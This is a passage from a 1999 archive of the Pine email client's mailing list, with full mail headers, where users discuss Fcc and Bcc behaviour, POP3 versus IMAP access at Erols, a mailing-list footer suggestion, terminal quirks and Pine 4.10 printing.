copy". This lets you save a message you are sending straight into a(n outgoing) mail folder. Some people who don't know about "Fcc:" send themselves a copy by putting their own e-mail address in the "Cc:" header (or, better, the "Bcc:" header). This sends your message to the mail server which then sends you a copy back: this introduces unnecessary delay and places extra load on the mail server. Better to save the copy directly (and immediately) to a folder by giving the folder name in the "Fcc:" header. Because "Fcc:" is very useful Pine lets you set a default Fcc folder which is used as a default for every message you send (see the Setup Configuration screen). You can even override this for particular entries in your Address Book if you like! Cheers, Mike B-) -- The Computing Service, University of York, Heslington, York Yo10 5DD, UK Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/ * Unsolicited commercial e-mail is NOT welcome at this e-mail address. * From pinedev@shiva0.cac.washington.edu Fri Feb 5 08:36:50 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 08:36:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA06633 for ; Fri, 5 Feb 1999 08:36:48 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA14529; Fri, 5 Feb 1999 08:36:46 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA04185; Fri, 5 Feb 1999 08:35:36 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA29308 for ; Fri, 5 Feb 1999 08:32:31 -0800 Received: from physis.viper.net (IDENT:stick@physis.viper.net [207.13.5.18]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA06466 for ; Fri, 5 Feb 1999 08:32:30 -0800 (PST) Received: from localhost (stick@localhost) by physis.viper.net (8.9.2/8.9.2) with SMTP id KAA22185; Fri, 5 Feb 1999 10:32:00 -0600 (CST) Message-Id: Date: Fri, 5 Feb 1999 10:31:59 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Chris MacLeod To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: ASHWANTH FERNANDO X-Cc: Pine Discussion Forum X-Sender: stick@physis.viper.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Blind Carbon copy allows you to send a message to multiple recipients without them seeming who else the message was copied to. For example: To: bob@bob.com CC: jane@jane.com Bcc: steve@steve.com This will send a message to bob, jane, and steve Bob and Jane will see that the message was sent to bob and jane Steve will see that the message was sent to bob and jane but won't see his name on the list even though he still got it. Bob and Jane will not know that steve received the message. On Fri, 5 Feb 1999, ASHWANTH FERNANDO wrote: > Date: Fri, 5 Feb 1999 21:39:33 +0000 (IST) > From: ASHWANTH FERNANDO > To: Pine Discussion Forum > Subject: Re: BCC > > Frankly speaking , I too do not know what it means -sending a blind carbon > copy. In fact I am also a novice , I sek help from Pine only. Please > forgive me . Ashwanth fernando > -- ------------------------------------------------------------------------------ stick@physis.viper.net Chris MacLeod Web Systems Administrator www.miscellaneous.net With blue, uncertain, stumbling buzz, Between the light and me, And then the windows failed, and then I could not see to see. -Emily Dickenson "I Heard A Fly Buzz When I Died" ------------------------------------------------------------------------------ "Beware the penguins..." -Morphy GNUpgp Public key Available - finger physis@miscellaneous.net From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 10:17:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA08663 for ; Fri, 5 Feb 1999 10:17:18 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA17206; Fri, 5 Feb 1999 10:17:16 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA20392; Fri, 5 Feb 1999 10:15:34 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA25892 for ; Fri, 5 Feb 1999 10:11:33 -0800 Received: from ursamajor.cisco.com (ursamajor.cisco.com [171.69.63.56]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA22140 for ; Fri, 5 Feb 1999 10:11:33 -0800 (PST) Received: from casner-pc.cisco.com (casner-pc.cisco.com [171.71.37.112]) by ursamajor.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id KAA05727; Fri, 5 Feb 1999 10:10:52 -0800 (PST) Message-Id: Date: Fri, 5 Feb 1999 10:14:02 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Stephen Casner To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Chris MacLeod X-Cc: Pine Discussion Forum X-X-Sender: casner@ursamajor.cisco.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 5 Feb 1999, Chris MacLeod wrote: > Blind Carbon copy allows you to send a message to multiple recipients > without them seeming who else the message was copied to. > > For example: > To: bob@bob.com > CC: jane@jane.com > Bcc: steve@steve.com > > This will send a message to bob, jane, and steve > Bob and Jane will see that the message was sent to bob and jane > > Steve will see that the message was sent to bob and jane but won't see his > name on the list even though he still got it. ... and that is sometimes a problem, especially if the To or Cc lists contain a mailing list address. Steve may think he's been added to that mailing list against his wishes. Some nice mail programs from the past that ran on computers now dead for all intents and purposes used to include a Bcc header on the copy of the message that went to Steve so Steve could see that he was explicitlyl addressed. Each Bcc recipient would get a Bcc with his name only. I wish Pine and other current mailers did this. -- Steve From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 10:37:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA09049 for ; Fri, 5 Feb 1999 10:37:56 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA17836; Fri, 5 Feb 1999 10:37:53 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA05820; Fri, 5 Feb 1999 10:34:09 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA26030 for ; Fri, 5 Feb 1999 10:30:10 -0800 Received: from admiral.psrw.com (admiral.psrw.com [199.99.166.5]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA29668 for ; Fri, 5 Feb 1999 10:29:53 -0800 (PST) Received: from boyce.psrw.com (boyce [199.99.166.68]) by admiral.psrw.com (8.9.1a/8.9.1) with SMTP id NAA21121 for ; Fri, 5 Feb 1999 13:29:20 -0500 (EST) Received: by boyce.psrw.com (SMI-8.6/SMI-SVR4) id NAA20739; Fri, 5 Feb 1999 13:29:19 -0500 Message-Id: <19990205132919.G20305@psrw.com> Date: Fri, 5 Feb 1999 13:29:19 -0500 Reply-To: bgiaccio@psrw.com Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Brad Giaccio To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: ; from Stephen Casner on Fri, Feb 05, 1999 at 10:14:02AM -0800 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, Feb 05, 1999 at 10:14:02AM -0800, Stephen Casner wrote: > > Some nice mail programs from the past that ran on computers now dead > for all intents and purposes used to include a Bcc header on the copy > of the message that went to Steve so Steve could see that he was > explicitlyl addressed. Each Bcc recipient would get a Bcc with his > name only. > > I wish Pine and other current mailers did this. > -- Steve They do if you look at rich headers Bcc is in there so all you need to do is at it to the default list of headers -- --- There are two kinds of knowledge, you either know the answer or you know where to find it -Kane, Johnson, and anonymous From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 11:05:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA09698 for ; Fri, 5 Feb 1999 11:05:46 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA18689; Fri, 5 Feb 1999 11:05:44 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA19279; Fri, 5 Feb 1999 11:04:13 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA18876 for ; Fri, 5 Feb 1999 11:01:08 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA02275 for ; Fri, 5 Feb 1999 11:01:07 -0800 (PST) Received: from axe.humboldt.edu (axe.humboldt.edu [137.150.148.10]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA18516 for ; Fri, 5 Feb 1999 11:01:07 -0800 (PST) Received: by axe.humboldt.edu id LAA32439; Fri, 5 Feb 1999 11:01:06 -0800 (PST) Message-Id: Date: Fri, 5 Feb 1999 11:01:06 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michelle Grandchamp To: Pine Discussion Forum MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: pine-info@cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have a couple of questons. When I log on to get my messages, there is a message that says that my user quota is exceeded and that I need to get rid of files. Now, I don't know what that means or how to fix it. Second, I keep getting disconnected. I know that when someone calls or even picks up the phone, I get disconnected, but I often get disconnected in the middle of trying to send e-mail to others. Some answers would be greatly appreciated. I don't know aanything about computers, so....I kinda need help. Thank You, Michelle Grandchamp ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 11:19:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA32202 for ; Fri, 5 Feb 1999 11:19:40 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA07950; Fri, 5 Feb 1999 11:19:38 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA20710; Fri, 5 Feb 1999 11:17:17 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA18840 for ; Fri, 5 Feb 1999 11:13:53 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA22833 for ; Fri, 5 Feb 1999 11:13:53 -0800 (PST) Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id OAA14313 for ; Fri, 5 Feb 1999 14:13:55 -0500 (EST) Message-Id: Date: Fri, 5 Feb 1999 14:13:55 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: new footers to the list (was, eh, something) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Seeing how pine can (finally) handle sigdashes, wouldn't it make good sense to have the footer of each message "sig-dashed"??? ie: -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- On Fri, 5 Feb 1999, Michelle Grandchamp wrote: (snip, content not important) > > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > -- Ken Woods kwoods@kens.com ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 11:24:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA10002 for ; Fri, 5 Feb 1999 11:24:24 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA19199; Fri, 5 Feb 1999 11:24:21 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA10309; Fri, 5 Feb 1999 11:21:49 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA28634 for ; Fri, 5 Feb 1999 11:18:01 -0800 Received: from gw.learjet.com (firewall-user@gw.learjet.com [192.206.89.4]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA23611 for ; Fri, 5 Feb 1999 11:18:00 -0800 (PST) Received: by gw.learjet.com; id NAA13245; Fri, 5 Feb 1999 13:17:58 -0600 (CST) Received: from hs8.learjet.com(172.18.126.238) by gw.learjet.com via smap (4.1) id xma013213; Fri, 5 Feb 99 13:17:41 -0600 Received: from hx02.learjet.com (schaller@hx02.learjet.com [172.18.126.91]) by hs8.learjet.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id NAA29790 for ; Fri, 5 Feb 1999 13:17:41 -0600 (CST) Received: from localhost (schaller@localhost) by hx02.learjet.com (8.8.6 (PHNE_14041)/8.8.6) with SMTP id NAA09961 for ; Fri, 5 Feb 1999 13:17:39 -0600 (CST) Message-Id: Date: Fri, 5 Feb 1999 13:17:38 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Jeff To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: <19990205132919.G20305@psrw.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Info List X-Authentication-Warning: hx02.learjet.com: schaller owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 5 Feb 1999, Brad Giaccio wrote: > On Fri, Feb 05, 1999 at 10:14:02AM -0800, Stephen Casner wrote: > > > > Each Bcc recipient would get a Bcc with his name only. > > I wish Pine and other current mailers did this. > > -- Steve > > They do if you look at rich headers Bcc is in there so all you need to > do is at it to the default list of headers I believe Steve means that the recipient would see a Bcc header in his message, indicating that he was Bcc'd on something (and not SPAMmed). email filtering programs would benefit from this header as well. Pine (or sendmail (or ...)) would have to add this header onto outgoing mail, as the receiving mailer or MUA would not know when or how to add it. I don't have time to look at the RFC for email headers, but maybe this (outgoing bcc field) behavior was deprecated by someone at some point. -jeff ----- Jeff Schaller | Voice: (316) 946-7255 UNIX System Administrator | Fax: (316) 946-2809 Bombardier Aerospace/Learjet | One should never generalize. The above thoughts are mine and are not representative of Learjet. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 11:37:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA10373 for ; Fri, 5 Feb 1999 11:36:58 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA08454; Fri, 5 Feb 1999 11:36:56 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA22195; Fri, 5 Feb 1999 11:35:36 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA14554 for ; Fri, 5 Feb 1999 11:32:25 -0800 Received: from ursamajor.cisco.com (ursamajor.cisco.com [171.69.63.56]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA26001 for ; Fri, 5 Feb 1999 11:32:24 -0800 (PST) Received: from casner-pc.cisco.com (casner-pc.cisco.com [171.71.37.112]) by ursamajor.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id LAA06731; Fri, 5 Feb 1999 11:32:21 -0800 (PST) Message-Id: Date: Fri, 5 Feb 1999 11:35:28 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Stephen Casner To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: <19990205132919.G20305@psrw.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: casner@ursamajor.cisco.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 5 Feb 1999, Brad Giaccio wrote: > They do if you look at rich headers Bcc is in there so all you need to > do is at it to the default list of headers I already have Bcc included in my default list of headers displayed during message composition. But Pine does not include a Bcc field in the copy of the outgoing message destined to the recipient in the Bcc. That's what I was talking about. I've Bcc'd this message to you. Check it out. -- Steve From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 11:59:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA10839 for ; Fri, 5 Feb 1999 11:59:18 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA20145; Fri, 5 Feb 1999 11:59:16 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA24113; Fri, 5 Feb 1999 11:57:42 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA29392 for ; Fri, 5 Feb 1999 11:54:28 -0800 Received: from csun.edu (hp9k2.csun.edu [130.166.1.41]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA23409 for ; Fri, 5 Feb 1999 11:54:27 -0800 (PST) Received: from itr04.csun.edu (s011n078.csun.edu [130.166.11.78]) by csun.edu (8.9.1/8.9.1) with SMTP id LAA20338; Fri, 5 Feb 1999 11:54:14 -0800 (PST) Message-Id: Date: Fri, 5 Feb 1999 11:58:22 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ovanes Manucharyan To: Pine Discussion Forum Subject: RE: Insert vs. Overwrite? In-Reply-To: <003301be50e4$167ed910$1511b381@edspc17.twntpe.cdc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-To: Ed Greshko X-Cc: Pine Discussion Forum X-Authentication: none X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 5 Feb 1999 16:46:57 +0800 Ed Greshko wrote: > The platform being used is HP/UX. I happen to have access to a similar > platform running 3.96 and it doesn't exhibit the behavior mentioned. This > doesn't answer the real question either....but it appears to rule out a pine > specific issue. > > Regards, > Ed > Yes, perhaps it could be said that this is not a pine-specific issue, since it only happens for some users and not for others too... Even for accounts that reported the problem, I logged in as the user, from my terminal, then I tried to use pine, and it works fine. They however complain that it doesn't work. I wonder if it has something to do with the terminal they are using? Ovanes From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 12:38:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA11513 for ; Fri, 5 Feb 1999 12:38:21 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA10212; Fri, 5 Feb 1999 12:38:19 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA03622; Fri, 5 Feb 1999 12:36:20 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA31274 for ; Fri, 5 Feb 1999 12:32:38 -0800 Received: from poison.slackinc.com (poison.slackinc.com [206.0.70.40]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA12907 for ; Fri, 5 Feb 1999 12:32:38 -0800 (PST) Received: by POISON with Internet Mail Service (5.5.1960.3) id <1L3248KA>; Fri, 5 Feb 1999 15:34:32 -0500 Message-Id: <0089B6FA4F0DD211AD4E0001FA7E5055B842E9@POISON> Date: Fri, 5 Feb 1999 15:34:29 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George Gallen To: Pine Discussion Forum Subject: Erols and IMAP MIME-Version: 1.0 Content-Type: text/plain X-To: "'Pine List'" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN We have someone in our group, that wants to access their email from their erols account using pine (on a unix system). Does anyone know if erols has the ability to IMAP access to their members mail? I tried erols.com as the host, but our DNS shot that one down. Would the username/password be the same as thier login username/password? We are using pine 4.05. Thanks George Gallen ggallen@slackinc.com ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 13:04:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA11925 for ; Fri, 5 Feb 1999 13:04:36 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA10801; Fri, 5 Feb 1999 13:04:34 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA29779; Fri, 5 Feb 1999 13:02:25 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA29658 for ; Fri, 5 Feb 1999 12:59:10 -0800 Received: from poison.slackinc.com (poison.slackinc.com [206.0.70.40]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA21258 for ; Fri, 5 Feb 1999 12:59:09 -0800 (PST) Received: by POISON with Internet Mail Service (5.5.1960.3) id <1L32483F>; Fri, 5 Feb 1999 16:01:04 -0500 Message-Id: <0089B6FA4F0DD211AD4E0001FA7E5055B842EC@POISON> Date: Fri, 5 Feb 1999 16:01:03 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George Gallen To: Pine Discussion Forum Subject: RE: Erols and IMAP (now a pop3 question) MIME-Version: 1.0 Content-Type: text/plain X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Never mind....spoke with erols, they only allow pop3 access. Do I need to add anything to my unix system to allow pine to access mailboxs via pop3? George Gallen ggallen@slackinc.com -----Original Message----- From: George Gallen [mailto:ggallen@slackinc.com] Sent: Friday, February 05, 1999 3:34 PM To: Pine Discussion Forum Subject: Erols and IMAP We have someone in our group, that wants to access their email from their erols account using pine (on a unix system). Does anyone know if erols has the ability to IMAP access to their members mail? I tried erols.com as the host, but our DNS shot that one down. Would the username/password be the same as thier login username/password? We are using pine 4.05. Thanks George Gallen ggallen@slackinc.com ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 14:41:01 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA13341 for ; Fri, 5 Feb 1999 14:40:59 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA24122; Fri, 5 Feb 1999 14:40:51 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA21911; Fri, 5 Feb 1999 14:35:27 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA19856 for ; Fri, 5 Feb 1999 14:16:03 -0800 Received: from rwja.UMDNJ.EDU (root@rwja.UMDNJ.EDU [130.219.4.100]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA32269 for ; Fri, 5 Feb 1999 14:16:02 -0800 (PST) Received: from rwja.UMDNJ.EDU (green@rwja.UMDNJ.EDU [130.219.4.100]) by rwja.UMDNJ.EDU (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id RAA24153; Fri, 5 Feb 1999 17:15:58 -0500 (EST) Message-Id: Date: Fri, 5 Feb 1999 17:15:57 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: green@UMDNJ.EDU To: Pine Discussion Forum Subject: Re: Pine 4.10 now available In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Michael Seibel X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 4 Feb 1999, Michael Seibel wrote: > This note is to announce the availability of the Pine Message System > version 4.10. Pine 4.10 is an evolutionary release that introduces a > number of new features, provides options to support old features, and > fixes a number of bugs found in previous releases. Ahhhh.... It seems to work okay here (hpux 10.20, no changes in make other than commenting out -g debug and uncommenting -O), but.... When printing (unix pine 4.10), one now gets a status screen post-printing indicating the spool job and status. Is there a way to quell this? I couldn't find anything in the tech-notes or 